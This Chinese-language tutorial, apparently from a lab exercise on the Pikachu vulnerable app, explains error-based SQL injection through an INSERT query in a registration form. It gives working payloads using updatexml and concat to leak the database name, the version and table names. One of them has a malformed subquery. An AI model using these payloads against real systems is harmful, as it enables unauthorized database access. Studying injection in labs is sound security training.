其实对于初学SQL注入,并不需要区分注入类型。
但是要理解insert注入,首先需要理解SQL的insert语句
举个例子 :在Student表插入bob的信息
Student表:
|-----------------------------------|
| name | age | grade |
|-----------------------------------|
| andy | 14 | 98 |
|-----------------------------------|
sql语句为 INSERT INTO Student VALUES ('bob', '15', '99')
例如 INSERT INTO Student(name,age) VALUES ('bob', '15')
OK,以上内容即是insert 语句的用法。现在我们来分析insert 注入
测试链接 http://45.32.81.200:8080/vul/sqli/sqli_iu/sqli_login.php
在注册时,后台的逻辑应该是这样的
-------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------
代码好长,其实这段代码主要的语句为
insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";
哈哈,后面的截图没截完
大概就是 insert into member(username,pw,sex,phonenum,email,address) values('必填字段','必填字段','xx','xx','xx','xx','xx',)
于是可以构造payload 在username 填入 bob' or updatexml(1,concat(0x7e,database()),0) or '
常用的报错函数
updatexml() MYSQL对xml文档数据进行查询和修改的XPATH函数
updatexml(xml_document,XPathstring,new_value) 表名,路径(路径错误会报错),替换的值
extractvalue() MYSQL对xml文档数据进行查询XPATH函数
floor() MYSQL中用来取整的函数
limit 0,1, 从你的表中的第0个数据开始,只读取一个
kobe' and updatexml(1,version(),0)#
因为路径不对,所以会报错
----------------------------------------------------------------
-----------------------------------------------------------------
但是看到的version()版本不够完整
于是大佬说用concat函数,把被丢掉的信息完全显示出来
于是构造payload kobe' and updatexml(1,concat(0x7e,version()),0)#
其中0X7e表示的是 ~ 这个符号 ,concat函数用于将两个字段拼接
现在数据库完整的版本显示出来了
------------------------------------------------------------------------
-----------------------------------------------------------------------
好了明白了以上内容,就差不多了解了基于报错的注入原理
下面是一些扩展
构造payload kobe' and updatexml(1,concat(0x7e,database()),0)#
kobe ' and updatexml(1,concat(0x7e,select table_name from information_schema.tables where table_schema='pikachu')),0) #